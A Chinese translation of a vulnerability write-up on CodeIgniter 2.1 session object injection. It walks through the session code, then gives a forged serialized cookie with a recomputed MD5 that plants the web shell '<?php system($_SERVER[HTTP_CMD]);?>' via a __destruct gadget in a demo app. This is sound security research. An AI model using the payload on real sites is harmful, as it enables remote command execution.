<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/1449

            原文鏈接:http://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/

            0x00 背景


            大家好,Codeigniter 是我最喜愛的PHP框架之一。和別人一樣,我在這個框架中學習了PHP MVC編程。今天,我決定來分析一下Codeigniter的PHP 對象注入漏洞。

            我在接下來的敘述中會把重點放在Codeigniter的Session會話機制上。所有我將會分析的method方法都在CodeIgniter/system/libraries/Session.php文件里。我在本研究過程中使用的是Codeigniter 2.1 版本。

            0x01 Codeigniter Session會話機制


            Codeigniter 使用PHP的序列化method方法來存儲用戶Session會話中的變量。但是Codeigniter Session會話機制并不像我們預期的那樣工作。它把session會話的變量存在了客戶端的cookie里面,大多數是在(服務器)硬盤上而不是用戶COOKIE中。我不知道開發者們為什么這么設計。

            下面的敘述摘自codeigniter的文檔

            The Session class stores session information for each user as serialized (and optionally encrypted) data in a cookie. Even if you are not using encrypted sessions, you must set an encryption key in your config file which is used to aid in preventing session data manipulation.
            
            Session會話class類把每個用戶session會話的序列化的(可選加密的)信息存在了Cookie里面。即使你沒有使用加密的session會話,你也必須在配置文件中設置一個加密key(密鑰)以用來防止session會話內容被人為篡改
            

            在這篇文章中我們將分析session數據篡改的可能性以及相關問題。

            0x02 Codeigniter Session會話數據結構


            讓我們開始讀點兒代碼。但是至此讓我解釋一下Codeigniter是如何創建session會話并且把變量放進session(-實際上是cookie!-)中的。

            對了,我會在接下來的文章中使用CI簡寫代替Codeigniter

            讓我們開始回顧一下Session類中構造方法的代碼。下面的代碼是__construct方法的一部分

            #!php
            // Run the Session routine. If a session doesn't exist we'll
            // create a new one.  If it does, we'll update it.
            // 開始session過程。如果session不存在我們就新建一個 如果存在就更新一個
            if ( ! $this->sess_read())
            {
                $this->sess_create();
            }
            else
            {
                $this->sess_update();
            }
            
            // Delete 'old' flashdata (from last request)
            // 刪除舊的flashdata(從最近的請求)
            $this->_flashdata_sweep();
            
            // Mark all new flashdata as old (data will be deleted before next request)
            // 標記所有的flashdata為舊的(數據將會在下一次請求被刪除)
            $this->_flashdata_mark();
            
            // Delete expired sessions if necessary
            // 如果需要的話刪除過期的session
            $this->_sess_gc();
            
            log_message('debug', "Session routines successfully run");
            

            CI 試著去從當前客戶端的cookie中讀取數據值。如果失敗的話就創建一個新的,假設我們目前沒有任何cookie。那么CI去試著調用sess_create函數。接下來的代碼是在Session類中sess_create函數中截取的

            #!php
            function sess_create()
            {
                $sessid = '';
                while (strlen($sessid) < 32)
                {
                    $sessid .= mt_rand(0, mt_getrandmax());
                }
            
                // To make the session ID even more secure we'll combine it with the user's IP
                // 為了讓session 會話ID 更加安全,我們將把用戶IP綁定進去
                $sessid .= $this->CI->input->ip_address();
            
                $this->userdata = array(
                                    'session_id'    => md5(uniqid($sessid, TRUE)),
                                    'ip_address'    => $this->CI->input->ip_address(),
                                    'user_agent'    => substr($this->CI->input->user_agent(), 0, 120),
                                    'last_activity'    => $this->now,
                                    'user_data'        => ''
                                    );
            
            
                // Save the data to the DB if needed
                // 如果需要的話將數據保存在數據庫中
                if ($this->sess_use_database === TRUE)
                {
                    $this->CI->db->query($this->CI->db->insert_string($this->sess_table_name, $this->userdata));
                }
            
                // Write the cookie
                // 寫cookie
                $this->_set_cookie();
            }
            

            sess_create 負責創建session并且把它們發給用戶。正如你所見,它創建了一個數組來在session中存儲session_id,ip 地址,user-agent 等等。當userdata數組就緒后,它調用了Session類中的另一個函數_set_cookie()。現在該分析_set_cookie函數的代碼了

            #!php
            function _set_cookie($cookie_data = NULL)
            {
                if (is_null($cookie_data))
                {
                    $cookie_data = $this->userdata;
                }
            
                // Serialize the userdata for the cookie
                // 序列化用戶數據用作cookie
                $cookie_data = $this->_serialize($cookie_data);
            
                if ($this->sess_encrypt_cookie == TRUE)
                {
                    $cookie_data = $this->CI->encrypt->encode($cookie_data);
                }
                else
                {
                    // if encryption is not used, we provide an md5 hash to prevent userside tampering
                // 如果沒有使用加密,我們使用md5哈希函數來防止用戶端的篡改
                    $cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);
                }
            
                $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();
            
                // Set the cookie
                // 設置cookie
                setcookie(
                            $this->sess_cookie_name,
                            $cookie_data,
                            $expire,
                            $this->cookie_path,
                            $this->cookie_domain,
                            $this->cookie_secure
                        );
            }
            

            這里有一條關于代碼的注釋

            #!php
            // if encryption is not used, we provide an md5 hash to prevent userside tampering
            // 如果沒有使用加密,我們使用md5哈希函數來防止用戶端的篡改
            

            CI使用了md5來加密序列化后的session會話數據。他使用了encryption_key作為salt。然后把md5加密后的結果附在了$cookie_data的后面

            #!php
            //
            //
            $cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);
            

            我想要分析上述的代碼。$cookie_data將會發送給客戶端。它包含著ip地址,user-agent 等等。CI使用了encryption_key作為加salt的key。作為攻擊者我們知道$cookie_data和md5加密的結果,因為CI把MD5計算結果附在了$cookie_data的后面然后把它發送給了我們攻擊者。讓我展示一下確切的數據。

            ci_session=a:5:{s:10:"session_id";s:32:"e4f2a5e86d65ef070f5874f07c33b043";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397754060;s:9:"user_data";s:0:"";}550d610647f0ee0d019357d84f3b0488
            

            你可以看到上面的ci_session變量。那就是cookie的變量并且在數據值的后面你將看到550d610647f0ee0d019357d84f3b0488,這就是md5的結果,如果我們試著去逆向分析的話。

            譯者注:32位的字母數字(無等號)可初步判斷為md5,另外上面的機制分析也說明了是用的md5

            $cookie_data variables的值為:

            {s:10:”session_id”;s:32:”e4f2a5e86d65ef070f5874f07c33b043″;s:10:”ip_address”;s:9:”127.0.0.1″;s:10:”user_agent”;s:76:”Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0″;s:13:”last_activity”;i:1397754060;s:9:”user_data”;s:0:””;}
            
            $this->encryption_key = is what we are trying to get!
            

            md5計算的結果 = 550d610647f0ee0d019357d84f3b0488

            很明顯我們可以暴力破解探測使用的salt,我是說加密key。

            舉例說明 假設有以下定義

            $this->encryption_key = WE DONT NOW!
            
            $cookie_data variables的值 = a:1:{s:4:”test”;i:1;}adf8a852dafaf46f8c8038256fd0963a
            
            adf8a852dafaf46f8c8038256fd0963a = md5('a:1:{s:4:"test";i:1;}'.$this->encryption_key)
            

            你可以使用暴力破解技術來探測encryption_key! 為了暴力破解這個md5,你可以把encryption_key當成你想要獲得的明文,所以$cookie_data變量的值成了salt,然后當然反轉MD5函數形式從md5(plain-text, SALT) 到 md5(SALT,plain-text)

            譯者注:因為目前的破解md5的自動化工具均默認是給出密文和salt而恢復明文,這里的變換的原因是方便之后利用工具破解

            這只是解釋。我們在真實生活中會有更長的$cookie_data的情況。就像我之前提到的,為了暴力破解md5,$cookie_data當成salt。很不幸HashCat不支持這種類型的salt key。

            0x03 Codeigniter Session會話數據的保存驗證


            我們知道了CI如何創造cookie數據。現在我們將分析CI的cookie數據驗證系統。就像我之前假設的,我們沒有一個cookie。這一次我們在HTTP請求中帶一個cookie。讓我們觀察CI是怎樣檢測并驗證cookie的。為了這樣做,我們需要理解Session類中的sess_read()方法的代碼

            記住Session類的_construct方法。它試著用sess_read方法去從客戶端讀取cookie。這是我為什么將要分析sess_read方法的原因

            #!php
            function sess_read()
                {
                // Fetch the cookie
                // 獲取cookie
                $session = $this->CI->input->cookie($this->sess_cookie_name);
            
                // No cookie?  Goodbye cruel world!...
                // 沒有cookie? 去你妹的冷酷世界!
                if ($session === FALSE)
                {
                    log_message('debug', 'A session cookie was not found.');
                    return FALSE;
                }
                // Decrypt the cookie data
                // 解密cookie數據
                if ($this->sess_encrypt_cookie == TRUE)
                {
                    $session = $this->CI->encrypt->decode($session);
                }
                else
                {
                    // encryption was not used, so we need to check the md5 hash
                    // 沒有用到加密,所以我們需要檢查MD5 hash
                    $hash     = substr($session, strlen($session)-32); // get last 32 chars
                    $session = substr($session, 0, strlen($session)-32);
            
                    // Does the md5 hash match?  This is to prevent manipulation of session data in userspace
                    // md5哈希值是否匹配?這是為了阻止session會話數據用戶方面的人為操縱
                    if ($hash !==  md5($session.$this->encryption_key))
                    {
                        log_message('error', 'The session cookie data did not match what was expected. This could be a possible hacking attempt.');
                        $this->sess_destroy();
                        return FALSE;
                    }
                }
                // Unserialize the session array
                // Unserialize去序列化session會話數組
                $session = $this->_unserialize($session);
            
                // Is the session data we unserialized an array with the correct format?
                // 我們unserialized去序列化后的session會話數據是否格式正確?
                if ( ! is_array($session) OR ! isset($session['session_id']) OR ! isset($session['ip_address']) OR ! isset($session['user_agent']) OR ! isset($session['last_activity']))
                {
                    $this->sess_destroy();
                    return FALSE;
                }
                // Is the session current?
                // 是否是當前會話?
                if (($session['last_activity'] + $this->sess_expiration) < $this->now)
                {
                    $this->sess_destroy();
                    return FALSE;
                }
            
                // Does the IP Match?
                // ip是否匹配?
                if ($this->sess_match_ip == TRUE AND $session['ip_address'] != $this->CI->input->ip_address())
                {
                    $this->sess_destroy();
                    return FALSE;
                }
                // Does the User Agent Match?
                // user-agent是否匹配?
                if ($this->sess_match_useragent == TRUE AND trim($session['user_agent']) != trim(substr($this->CI->input->user_agent(), 0, 120)))
                {
                    $this->sess_destroy();
                    return FALSE;
                }
            
                // Is there a corresponding session in the DB?
                // 數據庫中是否與session一致?
                if ($this->sess_use_database === TRUE)
                {
                    $this->CI->db->where('session_id', $session['session_id']);
            
                    if ($this->sess_match_ip == TRUE)
                    {
                        $this->CI->db->where('ip_address', $session['ip_address']);
                    }
            
                    if ($this->sess_match_useragent == TRUE)
                    {
                        $this->CI->db->where('user_agent', $session['user_agent']);
                    }
            
                    $query = $this->CI->db->get($this->sess_table_name);
            
                    // No result?  Kill it!
                    // 沒有查到? 結束吧!
                    if ($query->num_rows() == 0)
                    {
                        $this->sess_destroy();
                        return FALSE;
                    }
            
                    // Is there custom data?  If so, add it to the main session array
                    // 有沒有自定義數據? 如果有,把它加在主session數組里
                    $row = $query->row();
                    if (isset($row->user_data) AND $row->user_data != '')
                    {
                        $custom_data = $this->_unserialize($row->user_data);
            
                        if (is_array($custom_data))
                        {
                            foreach ($custom_data as $key => $val)
                            {
                                $session[$key] = $val;
                            }
                        }
                    }
                }
                // Session is valid!
                // session是合法的
                $this->userdata = $session;
                unset($session);
                return TRUE;
            }
            

            接下來的代碼CI檢查了session會話變量和user-agents。基本上CI想看到相同的user-agent和ip地址。就像我們分析的那樣,CI把那些變量寫進session會話了

            我們來分析一下_unserialize方法的代碼

            #!php
            function _unserialize($data)
            {
                $data = @unserialize(strip_slashes($data));
            
                if (is_array($data))
                {
                    foreach ($data as $key => $val)
                    {
                        if (is_string($val))
                        {
                            $data[$key] = str_replace('{{slash}}', '\\', $val);
                        }
                    }
            
                    return $data;
                }
            
                return (is_string($data)) ? str_replace('{{slash}}', '\\', $data) : $data;
            }
            

            沒錯!它對用戶提供的數據調用了unserialize方法,在本例中數據是客戶端的cookie

            0x04 概括


            在去往exploitation利用部分之前,我希望總結一下我們到現在為止學到的東西

            CI使用了serialize和unserialize方法來存儲Session中的變量
            辯證來看,CI沒有使用真正的Session。CI在客戶端(cookie)存儲了session變量而不是服務器端(硬盤)
            CI通過計算md5來檢測用戶端的篡改
            檢查user-agent和ip地址與session數據一致
            調用unserialize方法
            

            0x05 總結


            我們遇到了一些障礙

            CI沒有使用destruct(銷毀函數)或者喚醒方法
            Codeigniter 通過$autoload['libraries']變量裝載libraries(庫)。如果Session類首先定義了那個數組,你就不能接觸剩下的類。因為我們要利用Session并且CI在用戶裝載libraries前初始化Session類
            

            讓我來闡明。CI按照次序從類中創建對象。那意味著在system/core路徑下的類文件會首先創建。然后CI會去查看$autoload['libraries']數組然后按照次序再次創建對象。所以,為了接觸不同的classes,初始化session會話類的路徑格外的重要

            我寫了一個具有漏洞的codeigniter應用來做例子。接下來的講解都與那個應用相關

            https://github.com/mmetince/codeigniter-object-inj 譯者注:然后點右下角的download zip下載下來,如果不clone的話

            現在我們可以一起利用session完整性檢查的缺陷和unserialize方法

            正如你所發現的那樣,我們需要知道encryption_key來利用漏洞做壞事!有兩種方法可用。

            1 - 像我之前解釋的,一起利用md5的弱點和CI失敗的session會話數據完整性驗證。暴力破解它!當你認為encryption_key不會很長的時候我建議你這么做 
            
            2 - 很多開發者把它們的應用發布到github但是沒有修改encryption_key。并且使用那個應用的人們通常不會去修改encryption_key
            

            在本例中我們目前已經知道encryption_keyh4ck3rk3y了,讓我們開始吧! 譯者注:他說的是他自己寫的應用$config['encryption_key'] = 'h4ck3rk3y';這個設置在/application/config/config.php里面

            http://localhost:8080/index.php/welcome
            

            當我訪問上述URL時,它向我返回了如下HTTP響應

            HTTP/1.1 200 OK
            Host: localhost:8080
            Connection: close
            X-Powered-By: PHP/5.5.3-1ubuntu2.3
            Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b4febcc23c1ceebfcae0a12471af8d72%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A76%3A%22Mozilla%2F5.0+%28X11%3B+Ubuntu%3B+Linux+x86_64%3B+rv%3A28.0%29+Gecko%2F20100101+Firefox%2F28.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1397759422%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/
            Content-Type: text/html
            

            我們看見了Set-Cookie這個http header變量,讓我們分析它 譯者注:別忘了解url編碼

            ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";}30f9db14538d353e98dd00d41d84d904; expires=Thu, 17-Apr-2014 20:30:22 GMT; Max-Age=7200; path=/
            

            你可以看到過期時間Expires dates和最大期限 Max-Age在字符串的末尾。它們現在不是很重要,我們把它們去除掉吧

            ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0";s:13:"last_activity";i:1397759422;s:9:"user_data";s:0:"";}30f9db14538d353e98dd00d41d84d904
            

            譯者注:去除了無關項后如上所示,之所以可以去掉是因為exploit的是CI邏輯下的cookie接收

            現在我們將會像CI那樣從那個字符串中分離出cookie和MD5

            md5 = 30f9db14538d353e98dd00d41d84d904
            
            Session data= a:5:{s:10:”session_id”;s:32:”b4febcc23c1ceebfcae0a12471af8d72″;s:10:”ip_address”;s:9:”127.0.0.1″;s:10:”user_agent”;s:76:”Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0″;s:13:”last_activity”;i:1397759422;s:9:”user_data”;s:0:””;}
            

            我們已經知道CI把user-agent放進session會話數據如上文所示。實質上session會話數據是一個PHP數組

            Array
            (
                [session_id] => b4febcc23c1ceebfcae0a12471af8d72
                [ip_address] => 127.0.0.1
                [user_agent] => Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0
                [last_activity] => 1397759422
                [user_data] =>
            )
            

            我們知道CI在unserialize之后會去檢查ip地址和user-agents。但是在那個檢查獲取控制之前已經對象注入完畢了。我們可以隨心所欲修改它

            現在是時候創建我們用來利用的對象類。下述的類可以在我們的例子中application/libraries路徑找到 譯者注:/application/libraries/Customcacheclass.php

            #!php
            <?php
            /**
            * Created by PhpStorm.
            * User: mince
            * Date: 4/18/14
            * Time: 3:34 PM
            */
            if ( ! defined('BASEPATH')) exit('No direct script access allowed');
            
            class Customcacheclass {
            
                var $dir = '';
                var $value = '';
                public function __construct()
                {
                    $this->dir = dirname(__FILE__)."/cache_dir/";
                }
            
                public function set_value($v){
                    $this->value = $v;
                }
            
                public function get_value(){
                    return $this->value;
                }
                public function __destruct(){
                    file_put_contents($this->dir."cache.php", $this->value, FILE_APPEND);
                }
            }
            

            你可以看到__destruct方法把類變量保存在了cache.php文件內。序列化形式的Cacheclass會像下面所示字符串一樣

            //
            O:10:"Cacheclass":2:{s:3:"dir";s:15:"/tmp/cache_dir/";s:5:"value";s:3:"NUL";}
            

            我們要把它改成下述形式來向cache.php文件中寫入eval運行的代碼

            #!php
            <?php
            class Customcacheclass {
            
                var $dir = 'application/libraries/cache_dir/';
                var $value = '<?php system($_SERVER[HTTP_CMD]);?>';
            }
            echo serialize(new Customcacheclass);
            
            
            
            
            // Result
            // 運行結果
            O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}
            

            現在我們需要對構造的session會話數據計算真實的MD5值 以通過sess_read方法的完整性控制

            #!php
            <?php
            
            $b = 'O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}';
            $private_key = 'h4ck3rk3y';
            
            echo md5($b.$private_key);
            echo "\n";
            

            結果是fc47e410df55722003c443cefbe1b779 我們將把這段MD5加在我們的新cookie值末尾

            Host: localhost
            User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
            Referer: http://localhost/
            Cookie: ci_session=O%3A16%3A%22Customcacheclass%22%3A2%3A%7Bs%3A3%3A%22dir%22%3Bs%3A32%3A%22application%2flibraries%2fcache_dir%2f%22%3Bs%3A5%3A%22value%22%3Bs%3A35%3A%22%3C%3Fphp%20system%28%24_SERVER%5BHTTP_CMD%5D%29%3B%3F%3E%22%3B%7Dfc47e410df55722003c443cefbe1b779
            

            當你發送上述的http請求給CI時你會看到下述代碼出現在cache.php文件內

            #!php
            <?php system($_SERVER[HTTP_CMD]);?>
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线